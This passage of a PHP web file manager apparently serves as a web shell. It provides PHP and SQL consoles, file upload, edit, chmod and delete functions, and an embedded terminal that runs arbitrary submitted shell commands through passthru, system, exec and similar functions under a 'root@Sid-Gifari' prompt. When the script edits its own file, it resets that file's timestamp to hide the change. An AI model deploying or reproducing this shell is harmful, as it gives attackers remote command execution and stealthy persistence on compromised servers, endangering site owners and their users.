    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
